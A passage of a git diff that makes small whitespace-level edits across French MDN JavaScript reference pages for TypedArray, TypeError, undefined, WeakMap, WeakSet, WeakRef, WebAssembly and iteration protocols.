{{SpecName('ES2015', '#sec-%typedarray%.prototype.sort', 'TypedArray.prototype.sort')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.sort', 'TypedArray.prototype.sort')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.sort', 'TypedArray.prototype.sort')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/subarray/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/subarray/index.md index 4a12d09d6d..2faebb9cbe 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/subarray/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/subarray/index.md @@ -12,7 +12,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/subarray --- {{JSRef}} -La méthode `subarray()` permet de renvoyer un nouvel objet _TypedArray_ basé sur le même {{jsxref("ArrayBuffer")}} et dont les éléments sont du même type que l'objet _TypedArray_ courant. Le paramètre `début` est à considérer au sens large et le paramètre `end` est à considérer au sens strict. _TypedArray_ est l'un des types de [tableaux typés](/fr/docs/Web/JavaScript/Tableaux_typés#Les_objets_TypedArray). +La méthode `subarray()` permet de renvoyer un nouvel objet _TypedArray_ basé sur le même {{jsxref("ArrayBuffer")}} et dont les éléments sont du même type que l'objet _TypedArray_ courant. Le paramètre `début` est à considérer au sens large et le paramètre `end` est à considérer au sens strict. _TypedArray_ est l'un des types de [tableaux typés](/fr/docs/Web/JavaScript/Tableaux_typés#Les_objets_TypedArray). {{EmbedInteractiveExample("pages/js/typedarray-subarray.html")}} @@ -57,7 +57,7 @@ console.log(sub); // Uint8Array [ 1, 2, 3, 0 ] | -------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------------------------------------------- | | {{SpecName('Typed Array')}} | {{Spec2('Typed Array')}} | Remplacée par ECMAScript 6. | | {{SpecName('ES6', '#sec-%typedarray%.prototype.subarray', 'TypedArray.prototype.subarray')}} | {{Spec2('ES6')}} | Définition initiale au sein d'un standard ECMA. | -| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.subarray', 'TypedArray.prototype.subarray')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.subarray', 'TypedArray.prototype.subarray')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/tolocalestring/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/tolocalestring/index.md index 683c501395..1ef8a54a92 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/tolocalestring/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/tolocalestring/index.md @@ -49,7 +49,7 @@ uint.toLocaleString('ja-JP', { style: 'currency', currency: 'JPY' }); | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-%typedarray%.prototype.tolocalestring', 'TypedArray.prototype.toLocaleString')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.tolocalestring', 'TypedArray.prototype.toLocaleString')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.tolocalestring', 'TypedArray.prototype.toLocaleString')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/tostring/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/tostring/index.md index aa522a3cfd..8cf0f8a0fa 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/tostring/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/tostring/index.md @@ -50,7 +50,7 @@ numbers.toString(); // "[object Uint8Array]" | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-%typedarray%.prototype.tostring', 'TypedArray.prototype.toString')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.tostring', 'Array.prototype.toString')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.tostring', 'Array.prototype.toString')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/values/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/values/index.md index de4ab82e80..8f63c07488 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/values/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/values/index.md @@ -59,7 +59,7 @@ console.log(eArr.next().value); // 50 | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-%typedarray%.prototype.values', '%TypedArray%.prototype.values()')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.values', '%TypedArray%.prototype.values()')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.values', '%TypedArray%.prototype.values()')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/typeerror/index.md b/files/fr/web/javascript/reference/global_objects/typeerror/index.md index 712e7799b6..b8b971d0e2 100644 --- a/files/fr/web/javascript/reference/global_objects/typeerror/index.md +++ b/files/fr/web/javascript/reference/global_objects/typeerror/index.md @@ -12,7 +12,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/TypeError --- {{JSRef}} -L'objet **`TypeError`** représente une erreur qui intervient lorsque la valeur n'est pas du type attendu. +L'objet **`TypeError`** représente une erreur qui intervient lorsque la valeur n'est pas du type attendu. ## Syntaxe @@ -29,7 +29,7 @@ L'objet **`TypeError`** représente une erreur qui intervient lorsque la valeu ## Description -Une exception `TypeError` est levée lorsque qu'un argument ou un opérande est utilisé avec une fonction ou un opérateur incompatible avec le type attendu. +Une exception `TypeError` est levée lorsque qu'un argument ou un opérande est utilisé avec une fonction ou un opérateur incompatible avec le type attendu. ## Propriétés @@ -38,7 +38,7 @@ Une exception `TypeError` est levée lorsque qu'un argument ou un opérande est ## Méthodes -L'objet global `TypeError` ne contient pas de méthodes qui lui sont propres. Il possède malgré tout des méthodes héritées via sa chaîne de prototypes. +L'objet global `TypeError` ne contient pas de méthodes qui lui sont propres. Il possède malgré tout des méthodes héritées via sa chaîne de prototypes. ## Instances de TypeError @@ -89,9 +89,9 @@ try { | Spécification | Statut | Commentaires | | -------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES3', '#sec-15.11.6.5', 'TypeError')}} | {{Spec2('ES3')}} | Définition initiale. | -| {{SpecName('ES5.1', '#sec-15.11.6.5', 'TypeError')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-typeerror', 'TypeError')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-typeerror', 'TypeError')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.11.6.5', 'TypeError')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-typeerror', 'TypeError')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-typeerror', 'TypeError')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/undefined/index.md b/files/fr/web/javascript/reference/global_objects/undefined/index.md index 18917f5b36..63468b42c6 100644 --- a/files/fr/web/javascript/reference/global_objects/undefined/index.md +++ b/files/fr/web/javascript/reference/global_objects/undefined/index.md @@ -50,7 +50,7 @@ var x; if (x === undefined) { // ces instructions seront exécutées } -if (x !== undefined) { +if (x !== undefined) { // ces instructions ne seront pas exécutées } ``` @@ -59,7 +59,7 @@ if (x !== undefined) { ### L'opérateur `typeof` et `undefined` -L'opérateur {{jsxref("Opérateurs/L_opérateur_typeof", "typeof")}} peut également être utilisé : +L'opérateur {{jsxref("Opérateurs/L_opérateur_typeof", "typeof")}} peut également être utilisé : ```js var x; @@ -103,9 +103,9 @@ if (y === void 0) { | Spécification | État | Commentaires | | ------------------------------------------------------------------------ | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1', '#sec-4.3.9', 'undefined')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.3. | -| {{SpecName('ES5.1', '#sec-15.1.1.3', 'undefined')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-undefined', 'undefined')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-undefined', 'undefined')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.1.1.3', 'undefined')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-undefined', 'undefined')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-undefined', 'undefined')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/weakmap/delete/index.md b/files/fr/web/javascript/reference/global_objects/weakmap/delete/index.md index 4fbde04d8b..71de218cc3 100644 --- a/files/fr/web/javascript/reference/global_objects/weakmap/delete/index.md +++ b/files/fr/web/javascript/reference/global_objects/weakmap/delete/index.md @@ -46,7 +46,7 @@ wm.has(window); // Renvoie false. L'objet window n'est plus dans la WeakMap. | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------- | ---------------------------- | ------------------- | | {{SpecName('ES2015', '#sec-weakmap.prototype.delete', 'WeakMap.prototype.delete')}} | {{Spec2('ES2015')}} | Définition initiale | -| {{SpecName('ESDraft', '#sec-weakmap.prototype.delete', 'WeakMap.prototype.delete')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-weakmap.prototype.delete', 'WeakMap.prototype.delete')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/weakmap/get/index.md b/files/fr/web/javascript/reference/global_objects/weakmap/get/index.md index 6064f0c769..155f9089fa 100644 --- a/files/fr/web/javascript/reference/global_objects/weakmap/get/index.md +++ b/files/fr/web/javascript/reference/global_objects/weakmap/get/index.md @@ -45,7 +45,7 @@ wm.get("machin"); // Renvoie undefined. | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-weakmap.prototype.get', 'WeakMap.prototype.get')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-weakmap.prototype.get', 'WeakMap.prototype.get')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-weakmap.prototype.get', 'WeakMap.prototype.get')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/weakmap/has/index.md b/files/fr/web/javascript/reference/global_objects/weakmap/has/index.md index 4cfc9faac8..692813560b 100644 --- a/files/fr/web/javascript/reference/global_objects/weakmap/has/index.md +++ b/files/fr/web/javascript/reference/global_objects/weakmap/has/index.md @@ -45,7 +45,7 @@ wm.has("machin"); // renvoie false | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-weakmap.prototype.has', 'WeakMap.prototype.has')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-weakmap.prototype.has', 'WeakMap.prototype.has')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-weakmap.prototype.has', 'WeakMap.prototype.has')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/weakref/index.md b/files/fr/web/javascript/reference/global_objects/weakref/index.md index 23a9148e60..7c8e09e10d 100644 --- a/files/fr/web/javascript/reference/global_objects/weakref/index.md +++ b/files/fr/web/javascript/reference/global_objects/weakref/index.md @@ -10,7 +10,7 @@ Un objet **`WeakRef`** permet de tenir une référence faible vers un autre obje ## Description -Un objet `WeakRef` contient une référence faible vers un objet, appelé _cible_ ou _référent_. Une _référence faible_ vers un objet est une référence qui n'empêche pas l'objet d'être récupéré par le ramasse-miettes. À l'inverse, une référence normale (aussi qualifiée de _forte_) implique de conserver un objet en mémoire. Lorsqu'un objet n'a plus de référence forte envers lui, le ramasse-miettes du moteur JavaScript peut détruire l'objet et récupérer la mémoire correspondante. Une fois que cela est fait, on ne peut plus accéder à l'objet depuis une référence faible. +Un objet `WeakRef` contient une référence faible vers un objet, appelé _cible_ ou _référent_. Une _référence faible_ vers un objet est une référence qui n'empêche pas l'objet d'être récupéré par le ramasse-miettes. À l'inverse, une référence normale (aussi qualifiée de _forte_) implique de conserver un objet en mémoire. Lorsqu'un objet n'a plus de référence forte envers lui, le ramasse-miettes du moteur JavaScript peut détruire l'objet et récupérer la mémoire correspondante. Une fois que cela est fait, on ne peut plus accéder à l'objet depuis une référence faible. > **Note :** Voir la section [À éviter si possible](#à_éviter_si_possible) ci-après. Une utilisation correcte et pertinente de `WeakRef` nécessite une réflexion appuyée. C'est un objet qu'il conviendra d'éviter si possible. diff --git a/files/fr/web/javascript/reference/global_objects/weakset/add/index.md b/files/fr/web/javascript/reference/global_objects/weakset/add/index.md index e50ed53215..ddbaff6335 100644 --- a/files/fr/web/javascript/reference/global_objects/weakset/add/index.md +++ b/files/fr/web/javascript/reference/global_objects/weakset/add/index.md @@ -50,7 +50,7 @@ ws.add(1); | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-weakset.prototype.add', 'WeakSet.prototype.add')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-weakset.prototype.add', 'WeakSet.prototype.add')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-weakset.prototype.add', 'WeakSet.prototype.add')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/weakset/delete/index.md b/files/fr/web/javascript/reference/global_objects/weakset/delete/index.md index 05a92dcddc..ae0cbe8829 100644 --- a/files/fr/web/javascript/reference/global_objects/weakset/delete/index.md +++ b/files/fr/web/javascript/reference/global_objects/weakset/delete/index.md @@ -49,7 +49,7 @@ ws.has(window); // Renvoie false, window n'appartient plus au WeakSet. | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-weakset.prototype.delete', 'WeakSet.prototype.delete')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-weakset.prototype.delete', 'WeakSet.prototype.delete')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-weakset.prototype.delete', 'WeakSet.prototype.delete')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/weakset/has/index.md b/files/fr/web/javascript/reference/global_objects/weakset/has/index.md index c93b182bb2..58a388c0a3 100644 --- a/files/fr/web/javascript/reference/global_objects/weakset/has/index.md +++ b/files/fr/web/javascript/reference/global_objects/weakset/has/index.md @@ -47,7 +47,7 @@ mySet.has(obj); // renvoie false | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-weakset.prototype.has', 'WeakSet.prototype.has')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-weakset.prototype.has', 'WeakSet.prototype.has')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-weakset.prototype.has', 'WeakSet.prototype.has')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/compileerror/index.md b/files/fr/web/javascript/reference/global_objects/webassembly/compileerror/index.md index be5311cebf..72adbbf101 100644 --- a/files/fr/web/javascript/reference/global_objects/webassembly/compileerror/index.md +++ b/files/fr/web/javascript/reference/global_objects/webassembly/compileerror/index.md @@ -37,7 +37,7 @@ _Le constructeur `CompileError` ne possède aucune propriété propre. En revanc - `WebAssembly.CompileError.prototype.constructor` - : Définit la fonction qui crée le prototype d'une instance. - {{jsxref("Error.prototype.message", "WebAssembly.CompileError.prototype.message")}} - - : Le message qui décrit l'erreur. Bien qu'ECMA-262 indique que l'instance devrait fournir sa propre propriété `message`, pour [SpiderMonkey](/fr/docs/SpiderMonkey), celle-ci est héritée depuis {{jsxref("Error.prototype.message")}}. + - : Le message qui décrit l'erreur. Bien qu'ECMA-262 indique que l'instance devrait fournir sa propre propriété `message`, pour [SpiderMonkey](/fr/docs/SpiderMonkey), celle-ci est héritée depuis {{jsxref("Error.prototype.message")}}. - {{jsxref("Error.prototype.name", "WebAssembly.CompileError.prototype.name")}} - : Le nom de l'erreur. Cette propriété est héritée depuis {{jsxref("Error")}}. - {{jsxref("Error.prototype.fileName", "WebAssembly.CompileError.prototype.fileName")}} diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/compilestreaming/index.md b/files/fr/web/javascript/reference/global_objects/webassembly/compilestreaming/index.md index 5328b248d6..087ecff6d7 100644 --- a/files/fr/web/javascript/reference/global_objects/webassembly/compilestreaming/index.md +++ b/files/fr/web/javascript/reference/global_objects/webassembly/compilestreaming/index.md @@ -34,7 +34,7 @@ Un objet `Promise` dont la valeur de résolution est un objet {{jsxref("WebAssem ## Exemples -Dans l'exemple suivant (également disponible sur GitHub : [compile-streaming.html](https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/compile-streaming.html) et avec [le résultat _live_](https://mdn.github.io/webassembly-examples/js-api-examples/compile-streaming.html)), on récupère un flux dedpuis un module .wasm puis on le compile en un objet {{jsxref("WebAssembly.Module")}}. La fonction `compileStreaming()` acceptant une promesse pour un objet {{domxref("Response")}}, on peut directement passer l'appel à {{domxref("WindowOrWorkerGlobalScope.fetch()")}} qui transfèrera la réponse dès que la promesse sera tenue. +Dans l'exemple suivant (également disponible sur GitHub : [compile-streaming.html](https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/compile-streaming.html) et avec [le résultat _live_](https://mdn.github.io/webassembly-examples/js-api-examples/compile-streaming.html)), on récupère un flux dedpuis un module .wasm puis on le compile en un objet {{jsxref("WebAssembly.Module")}}. La fonction `compileStreaming()` acceptant une promesse pour un objet {{domxref("Response")}}, on peut directement passer l'appel à {{domxref("WindowOrWorkerGlobalScope.fetch()")}} qui transfèrera la réponse dès que la promesse sera tenue. ```js var importObject = { imports: { imported_func: arg => console.log(arg) } }; diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/index.md b/files/fr/web/javascript/reference/global_objects/webassembly/index.md index 5ee009f9cb..3096ed27bd 100644 --- a/files/fr/web/javascript/reference/global_objects/webassembly/index.md +++ b/files/fr/web/javascript/reference/global_objects/webassembly/index.md @@ -21,7 +21,7 @@ L'objet JavaScript **`WebAssembly`** est un objet global qui agit comme un espac L'objet `WebAssembly` est notamment utilisé pour : - Charger du code WebAssembly grâce à la fonction {{jsxref("WebAssembly.instantiate()")}} -- Créer des zones mémoires et des instances de tableaux grâce aux constructeurs {{jsxref("WebAssembly.Memory()")}}/{{jsxref("WebAssembly.Table()")}}. +- Créer des zones mémoires et des instances de tableaux grâce aux constructeurs {{jsxref("WebAssembly.Memory()")}}/{{jsxref("WebAssembly.Table()")}}. - Fournir des outils de gestion d'erreur WebAssembly grâce aux constructeurs {{jsxref("WebAssembly.CompileError()")}}/{{jsxref("WebAssembly.LinkError()")}}/{{jsxref("WebAssembly.RuntimeError()")}}. ## Méthodes @@ -31,7 +31,7 @@ L'objet `WebAssembly` est notamment utilisé pour : - {{jsxref("WebAssembly.instantiateStreaming()")}} - : Cette méthode peremet de compiler et d'instancier un module WebAssembly à partir d'un flux source (_streamed source_). Elle renvoie à la fois un objet `Module` et sa première `Instance`. - {{jsxref("WebAssembly.compile()")}} - - : Cette méthode permet de compiler un {{jsxref("WebAssembly.Module")}} à partir de *bytecode* WebAssembly, l'instanciation doit alors être effectuée dans une autre étape. + - : Cette méthode permet de compiler un {{jsxref("WebAssembly.Module")}} à partir de *bytecode* WebAssembly, l'instanciation doit alors être effectuée dans une autre étape. - {{jsxref("WebAssembly.compileStreaming()")}} - : Cette méthode permet de compiler un module {{jsxref("WebAssembly.Module")}} à partir d'un flux source (_streamed source_). L'instanciation devra alors être réalisée avec une autre étape. - {{jsxref("WebAssembly.validate()")}} diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/instantiate/index.md b/files/fr/web/javascript/reference/global_objects/webassembly/instantiate/index.md index 9c01958668..bd4ff708a7 100644 --- a/files/fr/web/javascript/reference/global_objects/webassembly/instantiate/index.md +++ b/files/fr/web/javascript/reference/global_objects/webassembly/instantiate/index.md @@ -36,7 +36,7 @@ La fonction **`WebAssembly.instantiate()`** permet de compiler et d'instancier d Une promesse qui est résoluee en un objet qui contient deux champs : -- `module` : un objet {{jsxref("WebAssembly.Module")}} qui représente le module WebAssembly compilé. Ce module peut être instancié à nouveau grâce à {{domxref("Worker.postMessage", "postMessage()")}} ou via [un cache IndexedDB](/fr/docs/WebAssembly/Caching_modules). +- `module` : un objet {{jsxref("WebAssembly.Module")}} qui représente le module WebAssembly compilé. Ce module peut être instancié à nouveau grâce à {{domxref("Worker.postMessage", "postMessage()")}} ou via [un cache IndexedDB](/fr/docs/WebAssembly/Caching_modules). - `instance` : un objet {{jsxref("WebAssembly.Instance")}} qui contient l'ensemble [des fonctions WebAssembly exportées](/fr/docs/WebAssembly/Exported_functions). #### Exceptions @@ -70,7 +70,7 @@ Une promesse qui est résolue en un objet {{jsxref("WebAssembly.Instance")}}. ### Première forme -Après avoir récupéré le _bytecode_ WebAssembly grâce à `fetch()`, on compile et on instancie le module grâce à la fonction {{jsxref("WebAssembly.instantiate()")}} et on importe une fonction JavaScript dans le module lors de cette étape. Ensuite, on invoque [une fonction WebAssembly exportée](/fr/docs/WebAssembly/Exported_functions) via l'instance. +Après avoir récupéré le _bytecode_ WebAssembly grâce à `fetch()`, on compile et on instancie le module grâce à la fonction {{jsxref("WebAssembly.instantiate()")}} et on importe une fonction JavaScript dans le module lors de cette étape. Ensuite, on invoque [une fonction WebAssembly exportée](/fr/docs/WebAssembly/Exported_functions) via l'instance. ```js var importObject = { diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/instantiatestreaming/index.md b/files/fr/web/javascript/reference/global_objects/webassembly/instantiatestreaming/index.md index 783fc228bf..e641c6060d 100644 --- a/files/fr/web/javascript/reference/global_objects/webassembly/instantiatestreaming/index.md +++ b/files/fr/web/javascript/reference/global_objects/webassembly/instantiatestreaming/index.md @@ -40,7 +40,7 @@ Un objet `Promise` dont la valeur de résolution est un objet `ResultObject` con ## Examples -Dans l'exemple suivant (également disponible sur GitHub : [instantiate-streaming.html](https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/instantiate-streaming.html) et avec [le résultat _live_](https://mdn.github.io/webassembly-examples/js-api-examples/instantiate-streaming.html)), on récupère le flux d'un module .wasm depuis une source, on le compile et on l'instancie. La promesse est alors résolue avec un objet `ResultObject`. La méthode `instantiateStreaming()` acceptant une promesse fournissant un objet {{domxref("Response")}}, on peut directement l'appel de {{domxref("WindowOrWorkerGlobalScope.fetch()")}} en argument qui transfèrera la réponse lorsque la promesse résultante sera tenue. +Dans l'exemple suivant (également disponible sur GitHub : [instantiate-streaming.html](https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/instantiate-streaming.html) et avec [le résultat _live_](https://mdn.github.io/webassembly-examples/js-api-examples/instantiate-streaming.html)), on récupère le flux d'un module .wasm depuis une source, on le compile et on l'instancie. La promesse est alors résolue avec un objet `ResultObject`. La méthode `instantiateStreaming()` acceptant une promesse fournissant un objet {{domxref("Response")}}, on peut directement l'appel de {{domxref("WindowOrWorkerGlobalScope.fetch()")}} en argument qui transfèrera la réponse lorsque la promesse résultante sera tenue. ```js var importObject = { imports: { imported_func: arg => console.log(arg) } }; diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/memory/grow/index.md b/files/fr/web/javascript/reference/global_objects/webassembly/memory/grow/index.md index 5872525372..c8b351cafa 100644 --- a/files/fr/web/javascript/reference/global_objects/webassembly/memory/grow/index.md +++ b/files/fr/web/javascript/reference/global_objects/webassembly/memory/grow/index.md @@ -40,9 +40,9 @@ Ensuite, on augmente la taille de l'espace mémoire d'une page grâce à la mét ```js const bytesPerPage = 64 * 1024; -console.log(memory.buffer.byteLength / bytesPerPage); // "1" -console.log(memory.grow(1)); // "1" -console.log(memory.buffer.byteLength / bytesPerPage); // "2" +console.log(memory.buffer.byteLength / bytesPerPage); // "1" +console.log(memory.grow(1)); // "1" +console.log(memory.buffer.byteLength / bytesPerPage); // "2" ``` On voit ici que la valeur de `grow()` indique l'espace utilisé avant l'agrandissement de la mémoire. diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/module/index.md b/files/fr/web/javascript/reference/global_objects/webassembly/module/index.md index ce946737a8..56a6cd1923 100644 --- a/files/fr/web/javascript/reference/global_objects/webassembly/module/index.md +++ b/files/fr/web/javascript/reference/global_objects/webassembly/module/index.md @@ -18,7 +18,7 @@ Le constructeur `WebAssembly.Module()` peut être appelé de façon synchrone po ## Syntaxe -> **Attention :** La compilation de modules volumineux peut être consommatrice de ressources et de temps. Le constructeur `Module()` doit uniqument être utilisé lorsqu'il faut absolument avoir une compilation synchrone. Pour tous les autres cas de figures, on privilégiera la méthode asynchrone {{jsxref("WebAssembly.compileStreaming()")}}. +> **Attention :** La compilation de modules volumineux peut être consommatrice de ressources et de temps. Le constructeur `Module()` doit uniqument être utilisé lorsqu'il faut absolument avoir une compilation synchrone. Pour tous les autres cas de figures, on privilégiera la méthode asynchrone {{jsxref("WebAssembly.compileStreaming()")}}. var monModule = new WebAssembly.Module(bufferSource); diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/table/get/index.md b/files/fr/web/javascript/reference/global_objects/webassembly/table/get/index.md index 3d263884fe..a7d594be8e 100644 --- a/files/fr/web/javascript/reference/global_objects/webassembly/table/get/index.md +++ b/files/fr/web/javascript/reference/global_objects/webassembly/table/get/index.md @@ -13,7 +13,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Table/get --- {{JSRef}} -La méthode **`get()`**, rattachéee au prototype de {{jsxref("WebAssembly.Table()")}}, permet de récupérer une référence à une fonction stockée dans le tableau WebAssembly grâce à sa position. dans le tableau. +La méthode **`get()`**, rattachéee au prototype de {{jsxref("WebAssembly.Table()")}}, permet de récupérer une référence à une fonction stockée dans le tableau WebAssembly grâce à sa position. dans le tableau. ## Syntaxe diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/table/index.md b/files/fr/web/javascript/reference/global_objects/webassembly/table/index.md index 6e2380a974..41112e76ea 100644 --- a/files/fr/web/javascript/reference/global_objects/webassembly/table/index.md +++ b/files/fr/web/javascript/reference/global_objects/webassembly/table/index.md @@ -87,9 +87,9 @@ Enfin, on charge et on instancie un module WebAssembly (table2.wasm) grâce à l ```js WebAssembly.instantiateStreaming(fetch('table2.wasm'), importObject) .then(function(obj) { - console.log(tbl.length); // "2" - console.log(tbl.get(0)()); // "42" - console.log(tbl.get(1)()); // "83" + console.log(tbl.length); // "2" + console.log(tbl.get(0)()); // "42" + console.log(tbl.get(1)()); // "83" }); ``` diff --git a/files/fr/web/javascript/reference/iteration_protocols/index.md b/files/fr/web/javascript/reference/iteration_protocols/index.md index a6e2b15f68..2d387cbde3 100644 --- a/files/fr/web/javascript/reference/iteration_protocols/index.md +++ b/files/fr/web/javascript/reference/iteration_protocols/index.md @@ -18,7 +18,7 @@ Il existe deux protocoles concernant l'itération : [le protocole « itérable ## Le protocole « itérable » -Le protocole « **itérable** » permet aux objets JavaScript de définir ou de personnaliser leur comportement lors d'une itération, par exemple la façon dont les valeurs seront parcourues avec une boucle {{jsxref("Instructions/for...of", "for..of")}}. Certains types natifs tels que {{jsxref("Array")}} ou {{jsxref("Map")}} possèdent un comportement itératif par défaut, d'autres types, comme {{jsxref("Object")}} n'ont pas ce type de comportement. +Le protocole « **itérable** » permet aux objets JavaScript de définir ou de personnaliser leur comportement lors d'une itération, par exemple la façon dont les valeurs seront parcourues avec une boucle {{jsxref("Instructions/for...of", "for..of")}}. Certains types natifs tels que {{jsxref("Array")}} ou {{jsxref("Map")}} possèdent un comportement itératif par défaut, d'autres types, comme {{jsxref("Object")}} n'ont pas ce type de comportement. Afin d'être **itérable**, un objet doit implémenter la méthode **`@@iterator`**, cela signifie que l'objet (ou un des objets de [sa chaîne de prototypes](/fr/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain)) doit avoir une propriété avec une clé **`@@iterator`** qui est accessible via {{jsxref("Symbol.iterator")}} : @@ -360,7 +360,7 @@ unObjetGénérateur[Symbol.iterator]() === unObjetGénérateur | Spécification | État | Commentaires | | ------------------------------------------------------------------------ | ---------------------------- | ------------------- | | {{SpecName('ES2015', '#sec-iteration', 'Iteration')}} | {{Spec2('ES2015')}} | Définition initiale | -| {{SpecName('ESDraft', '#sec-iteration', 'Iteration')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-iteration', 'Iteration')}} | 